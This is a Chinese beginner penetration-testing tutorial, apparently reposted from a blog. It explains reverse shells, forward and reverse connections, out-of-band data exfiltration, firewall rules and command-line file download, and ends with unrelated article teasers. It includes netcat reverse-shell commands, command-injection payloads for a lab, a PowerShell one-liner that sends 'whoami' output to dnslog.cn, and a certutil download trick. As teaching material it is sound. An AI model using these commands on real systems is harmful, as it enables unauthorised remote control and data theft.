从零开始学习网络安全渗透测试之基础入门篇——(四)反弹SHELL不回显带外正反向连接防火墙出入站文件上传下载

一、反弹SHELL

反弹SHELL(Reverse Shell)是一种网络攻击技术,它允许攻击者在一个被入侵的计算机上执行命令,即使该计算机位于防火墙或NAT(网络地址转换)之后。通常,当攻击者无法直接连接到目标机器时,他们会使用反弹SHELL来绕过这些网络障碍。
在这里插入图片描述

以下是反弹SHELL的基本概念和工作原理:

基本概念

  1. Shell:在计算机术语中,Shell是一个命令行界面,允许用户执行操作系统的命令。
  2. 反弹(Reverse):与传统连接不同,在反弹连接中,目标机器(通常是受害者)会主动发起连接到攻击者的机器。

工作原理

  1. 攻击者设置监听:攻击者会在自己的机器上设置一个监听器,准备接收来自目标机器的连接。
  2. 诱导执行恶意代码:攻击者通过各种手段(如钓鱼、漏洞利用等)在目标机器上执行一段恶意代码。
  3. 恶意代码发起连接:这段恶意代码会在目标机器上执行,它会尝试连接到攻击者设置好的监听端口。
  4. 建立连接:一旦连接建立,攻击者就可以在目标机器上执行命令,就像直接操作该机器一样。

为什么使用反弹SHELL

  • 绕过防火墙:许多防火墙配置为仅允许出站连接,而不允许入站连接。反弹SHELL通过让目标机器发起出站连接来绕过这一限制。
  • NAT和DMZ穿越:在NAT或DMZ(隔离区)环境中,外部机器通常不能直接连接到内部网络。反弹SHELL允许内部机器主动连接到外部。
  • 匿名性:攻击者不需要暴露自己的IP地址,因为连接是由受害者发起的。

关于反弹SHELL的实际攻击案例,可以从几个不同的角度来理解。反弹SHELL是一种网络攻击技术,攻击者利用这种技术在受害者的计算机上建立一个可以远程控制的Shell环境。这种攻击通常用于远程控制受害者的计算机,以执行各种操作。

反弹SHELL的工作原理

反弹SHELL的基本原理是:攻击者在其自己的机器上设置监听端口,然后诱使受害者的机器执行一个反向连接的Shell命令,连接回攻击者的机器。这样,攻击者就能通过这个反向连接执行命令,控制受害者的计算机。

实现反弹SHELL的方法

攻击者通常会使用诸如Netcat、Python、Bash等工具和脚本来实施反弹SHELL。例如,使用Netcat的命令可能是:nc -e /bin/sh 目标IP 目标端口,这条命令会从受害者机器上启动一个Shell,并将其连接到攻击者的监听端口上。nc工具,Linux自带,windows不自带。
windows:

nc -e cmd -lvvp 5566

linux:

ncat sec123.cc 5566
ncat -e /bin/sh -lvvp 5566

二、正反向连接

正向连接和反向连接是网络通信中两种不同的连接方式,特别是在反弹Shell的场景中,这两种连接方式有着重要的应用。

正向连接(Forward Connection)

正向连接是指客户端主动发起连接到服务器端的模式。在这种模式下,客户端知道服务器端的IP地址和监听端口,因此可以主动向服务器发起连接。
特点:

  • 客户端主动发起连接。
  • 服务器端必须有一个可访问的IP地址和开放的端口。
  • 如果服务器端位于防火墙或NAT后面,且没有正确配置端口转发,客户端可能无法建立连接。
    示例:
  • 使用浏览器访问网站时,浏览器(客户端)会向网站服务器发起正向连接。

反向连接(Reverse Connection)

反向连接是指服务器端主动发起连接到客户端的模式。在反弹Shell的场景中,这通常意味着攻击者的机器作为“客户端”,而被入侵的机器(受害者)作为“服务器端”主动发起连接。
特点:

  • 服务器端(实际上是受害者)主动发起连接到客户端(实际上是攻击者)。
  • 这种方式可以绕过防火墙和NAT的限制,因为大多数防火墙允许出站连接。
  • 攻击者不需要暴露自己的IP地址和端口,增加了攻击的隐蔽性。
    示例:
  • 攻击者在自己的机器上设置一个监听器,然后诱导受害者的机器执行一个脚本或程序,该脚本或程序会使受害者的机器主动连接到攻击者的监听端口。
    在这里插入图片描述

反弹Shell中的正向连接与反向连接

在反弹Shell的场景中,正向连接和反向连接的区别如下:

  • 正向反弹连接:攻击者尝试直接连接到受害者的机器上,但由于受害者机器可能位于防火墙或NAT后面,这种连接可能会失败。
  • 反向反弹连接:攻击者在自己的机器上设置监听器,然后诱导受害者机器执行一个反向Shell脚本,使受害者机器主动连接到攻击者的监听端口。这种方式更可能成功,因为它不依赖于受害者机器的网络配置。
    在实际的网络安全实践中,反向连接是反弹Shell攻击中更为常见和有效的方式。

三、不回显带外查询

皮卡丘漏洞平台演示RCE漏洞:

  • exec “ping”:在这个关卡中,后台会对用户输入的IP地址进行ping测试。攻击者可以利用这个功能执行其他系统命令。例如,输入127.0.0.1 && whoami可以执行whoami命令,显示当前用户信息。同样,通过输入127.0.0.1 && dir可以查看当前路径下的文件列表,而127.0.0.1 && type C:\Windows\win.ini可以查看特定文件的内容。
  • exec “eval”:这个关卡中,后台将用户的输入作为代码的一部分执行,从而造成远程代码执行漏洞。例如,输入phpinfo();会执行phpinfo函数,显示PHP的配置信息。更危险的是,攻击者可以通过这种方式上传木马文件,并通过Web界面连接到该木马,从而控制系统。

不带回显的带外查询

http://dnslog.cn/
不带回显的带外查询(Out-of-Band, OoB)是一种渗透测试技术,主要用于在无法直接从目标系统获取信息的情况下获取数据。这种技术在盲注攻击中特别有用,尤其是在以下情况下:

  1. 无回显环境:攻击者无法直接从目标系统接收到执行命令的输出。
  2. 受限制的网络:目标系统位于防火墙或NAT后面,或者网络策略限制了直接的数据传输。

带外查询的工作原理

在不带回显的环境中,攻击者通常会利用以下方法进行带外查询:

  1. DNS查询:攻击者可以诱使目标系统向他们控制的DNS服务器发送DNS查询。查询结果(例如,查询的域名)可以包含攻击者想要获取的信息。
  2. HTTP请求:攻击者可以诱导目标系统向他们控制的Web服务器发起HTTP请求。请求的URL或HTTP头可以包含攻击者想要获取的数据。
  3. 数据库功能:在某些情况下,攻击者可以利用数据库的特定功能(如MySQL的LOAD_FILE()SELECT ... INTO OUTFILE)来写入或读取文件,这些文件可以被外部服务器访问。

带外查询的步骤

以下是不带回显带外查询的一般步骤:

  1. 识别漏洞:确定目标系统是否存在可以用于带外数据传输的漏洞。
  2. 控制数据传输:构造特定的输入,使得目标系统在处理这些输入时会产生带外通信。
  3. 监听带外通道:在攻击者的控制下设置服务器,监听来自目标系统的带外通信。
  4. 提取信息:从带外通道接收到的数据中提取所需的信息。

实际应用案例

  • SQL盲注:在SQL盲注攻击中,攻击者无法直接从数据库获取数据。通过构造特定的SQL查询,攻击者可以诱使数据库向攻击者控制的DNS服务器发送查询,从而获取数据。
  • XXE攻击:在XML外部实体(XXE)攻击中,攻击者可以诱使应用程序向外部服务器发送包含敏感信息的HTTP请求。

WINDOWS服务器的案例

powershell $x=whoami;$x=$x.Replace('\','xxxx');$y='.ybhyv7.dnslog.cn';$z=$x+$y;ping $z;

  • 名称介绍:https://www.cnblogs.com/sunny11/p/13583083.html
  • 文件下载:https://forum.ywhack.com/bountytips.php?download
  • 反弹Shell:https://forum.ywhack.com/reverse-shell/
  • 命令学习:https://blog.csdn.net/weixin_43303273/article/details/83029138

四、防火墙出入站

防火墙是网络安全的重要组成部分,它通过监控和控制进出网络的数据流来保护网络不受未经授权的访问和攻击。在防火墙的设置中,通常会区分“出站”(Outbound)和“入站”(Inbound)规则。

出站规则(Outbound Rules)

出站规则是指那些控制从内部网络到外部网络(例如互联网)的数据流量的规则。这些规则主要用于:

  • 限制对外部资源的访问:例如,阻止访问某些网站或服务。
  • 监控和记录出站流量:帮助检测潜在的恶意活动,如数据泄露或病毒传播。
  • 控制特定服务的出站流量:例如,限制文件共享服务的出站连接。
    出站规则的特点:
  • 通常更宽松,因为内部设备发起的连接通常被认为是可信的。
  • 可以防止内部设备成为攻击他人的跳板(例如,僵尸网络)。
  • 可能需要允许某些类型的出站连接,如电子邮件服务。

入站规则(Inbound Rules)

入站规则是指那些控制从外部网络到内部网络的数据流量的规则。这些规则主要用于:

  • 保护内部资源:例如,只允许特定的IP地址或服务访问内部服务器。
  • 阻止已知攻击:通过阻塞与已知恶意活动相关的流量。
  • 限制端口和服务:例如,关闭不必要的端口和服务以减少潜在的攻击面。
    入站规则的特点:
  • 通常更严格,因为外部连接可能包含恶意流量。
  • 是网络防御的第一道防线,需要仔细配置以仅允许必要的流量通过。
  • 需要定期更新以应对新的安全威胁。

五、文件上传下载

解决无图形化的文件上传下载
解决数据传输
在线工具
在这里插入图片描述
在Windows下,您可以通过几种不同的命令行工具来下载文件。以下是一些常用的方法:

使用curl

curl是一个在多种操作系统上都可以使用的工具,用于数据传输。如果您的Windows系统中已经安装了curl,您可以使用以下命令下载文件:

curl -O [URL]

这里的-O参数告诉curl将下载的文件保存为命令行中指定的文件名。
例如:

curl -O https://example.com/file.zip

使用wget

wget是另一个常用的命令行下载工具。在Windows上,您可能需要先下载并安装wget。安装完成后,您可以使用以下命令下载文件:

wget [URL]

例如:

wget https://example.com/file.zip

使用PowerShell

如果您使用的是PowerShell,可以使用以下命令下载文件:

Invoke-WebRequest -Uri [URL] -OutFile [文件路径]

例如:

Invoke-WebRequest -Uri https://example.com/file.zip -OutFile C:\Users\YourUsername\Downloads\file.zip

这将会把文件保存到指定的路径。

使用CertUtil

CertUtil是Windows内置的一个工具,通常用于管理证书,但它也可以用来下载文件:

certutil -urlcache -split -f [URL] [保存的文件名]

例如:

certutil -urlcache -split -f https://example.com/file.zip file.zip

请确保将上述命令中的[URL][文件路径]替换为实际的URL和你希望保存文件的路径。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/51364.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于OPENMV实现一个单目测速测试

1、测试平台:OpenMV4H7Plus开发板​ 使用的相机是 MT9V034 相机对应为752x480黑白图像,为全局快门 2、测速的时候,仅选取最大物体的抓取,这里采用了几个步骤: ①、直接计算灰度的帧差 ②、对帧差进行阈值处理以获取mot…

【代码随想录训练营第42期 Day7打卡 LeetCode 454.四数相加II 383. 赎金信 15. 三数之和 18. 四数之和

目录 一、做题心得 二、题目及题解 454.四数相加II 题目链接 题解 383. 赎金信 题目链接 题解 15. 三数之和 题目链接 题解 18. 四数之和 题目链接 题解 三、小结 一、做题心得 今天是代码随想录训练营打卡的第七天,做的也是同昨天一样的哈希表部分…

CUDA编程之grid和block详解

CUDA 文章目录 CUDAgrid和block基本的理解1维 遍历2维 遍历3维 遍历3维 打印对应的thread grid和block基本的理解 Kernel:Kernel不是CPU,而是在GPU上运行的特殊函数。你可以把Kernel想象成GPU上并行执行的任务。当你从主机(CPU)调…

使用Chainlit接入通义千问快速实现一个多模态的对话应用

开通灵识服务 首先需要到阿里云-模型服务灵积开通账户,获得apiKey 模型服务灵积 https://dashscope.aliyun.com/ 进入控制台 ,在API-KEY管理里,创建一个新的API-KEY,然后保存起来,后面会用到。 模型服务灵积服务所有API文档地址…

KUKA机器人外部自动IO信号经验分享

个人名片 🎓作者简介:java领域优质创作者 🌐个人主页:码农阿豪 📞工作室:新空间代码工作室(提供各种软件服务) 💌个人邮箱:[2435024119qq.com] &#x1f4f1…

k8s学习--k8s集群部署kubesphere的详细过程

文章目录 kubesphere简介k8s群集部署kubespere环境准备工作一、配置nfs二、配置storageclass三、kubesphere开启服务(devops) kubesphere简介 下面是官方文档描述 KubeSphere 是在 Kubernetes 之上构建的面向云原生应用的分布式操作系统,完全开源,支持多…

【python】最新版抖音js逆向拿到数据,非常详细教程(附完整代码)

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全…

如何压缩pdf文件大小?这5种方法,简单又实用!

如何压缩pdf文件大小?pdf是电脑常用的便携式文档格式,无论是在学术领域的论文发表,还是在商业场景中的合同签署,甚至是个人简历的提交,PDF文件都扮演着重要的角色。 电脑上存储pdf文件会面临一个难题,那就是…

收不到验证码邮件怎么办?快速排查与解决!

收不到验证码邮件有哪些应对策略?验证码邮件被拦截? 经常需要通过邮箱接收验证码邮件来完成各种操作。然而,许多人都会遇到收不到验证码邮件的情况。AokSend将详细介绍如何快速排查和解决收不到验证码邮件的问题。 收不到验证码邮件&#x…

pake 打包TodoList windows桌面应用exe

参考: rust安装 https://blog.csdn.net/weixin_42357472/article/details/125943880 pake网址 https://github.com/tw93/Pake 支持把网页打包成多终端应用 离线网站打包参考: https://github.com/tw93/Pake/wiki/Pake%E6%89%93%E5%8C%85%E9%9D%99%E6%8…

企业微信开发智能升级:AIGC技术赋能,打造高效沟通平台

文章目录 一、AIGC在企业微信开发中的核心价值1. 智能化客服体验2. 自动化工作流程3. 个性化内容推荐4. 深度数据分析与洞察 二、使用AIGC进行企业微信开发的实践路径1. 需求分析与场景定义2. 技术选型与平台搭建3. 模型训练与调优4. 接口对接与功能集成5. 测试与优化 《企业微…

Hugo 部署与自动更新(Git)

文章目录 Nginx部署Hugonginx.confhugo.conf Hugo自动更新Hugo自动更新流程添加访问令牌添加web hookrust实现自动更新接口 Nginx部署Hugo nginx.conf user nginx; worker_processes auto;error_log /var/log/nginx/error.log notice; pid /var/run/nginx.pid;even…

python-小李帮老师改错(赛氪OJ)

[题目描述] 老师给小理发了一封电子邮件,任务如下。 写一个程序,给你 n 个数,输出 X。Xnum1p1​​num2p2​​⋯numnpn​​。 num1​,num2​,⋯⋯,numn​ 都是整数&#x…

【脱敏】平台数据脱敏技术解决方案(word)

1 概述 1.1 数据脱敏定义 1.2 数据脱敏原则 1.2.1基本原则 1.2.2技术原则 1.2.3管理原则 1.3 数据脱敏常用方法 3.1.1泛化技术 3.1.2抑制技术 3.1.3扰乱技术 3.1.4有损技术 1.4 数据脱敏全生命周期 2 制定数据脱敏规程 3 发现敏感数据 4 定义脱敏规则 5 执…

02 Go语言开发REST API接口_20240728 课程笔记

概述 如果您没有Golang的基础,应该学习如下前置课程。 Golang零基础入门Golang面向对象编程Go Web 基础 基础不好的同学每节课的代码最好配合视频进行阅读和学习,如果基础比较扎实,则阅读本教程巩固一下相关知识点即可,遇到不会…

探索Python监控之眼:watchdog库深度解析

文章目录 探索Python监控之眼:watchdog库深度解析1. 引言:为何选择watchdog?2. watchdog简介3. 安装watchdog库4. 基本函数与使用方法4.1 初始化监控器4.2 监控文件的创建4.3 监控文件的删除4.4 监控目录的创建4.5 监控目录的删除 5. 场景应用…

IoTDB 入门教程 实战篇②——MQTT集成

文章目录 一、前文二、配置参数三、开放端口四、MQTT客户端连接五、推送数据六、查询数据八、参考 一、前文 IoTDB入门教程——导读 IoTDB时序数据库内置MQTT服务器,允许远程设备将消息直接发送到IoTDB内置的MQTT服务器,并可以直接存入IoTDB时序数据库。…

gitee的远程连接与公钥SSH的连接

目录 1. 登录注册gitee1.1 登录注册1.2 创建仓库 2. 远程连接3. 公钥连接4. 参考链接 1. 登录注册gitee 1.1 登录注册 gitee官网 进入后进行登录注册 1.2 创建仓库 2. 远程连接 在你想要上传文件的文件夹中进行git初始化(我在其他文章已经写过,链接…

新手小白,如何新建一个springboot的web项目?

第一步:打开软件,点击file,点击new 然后选择module,在右侧选择springboot 第二步:选择配置和JDK以及java版本 ①选择maven类型 ②选择JDK1.8版本 ③选择java8版本 ④选择jar包类型 http://t.csdnimg.cn/XeplRhttp:…

ICMPv6与DHCPv6之网络工程师软考中级

ICMPv6概述 ICMPv6是IPv6的基础协议之一。 在IPv6报文头部中,Next Header字段值为58则对应为ICMPv6报文。 ICMPv6报文用于通告相关信息或错误。 ICMPv6报文被广泛应用于其它协议中,包括NDP、Path MTU发现机制等 ICMPv6控制着IPv6中的地址自动配置、地址…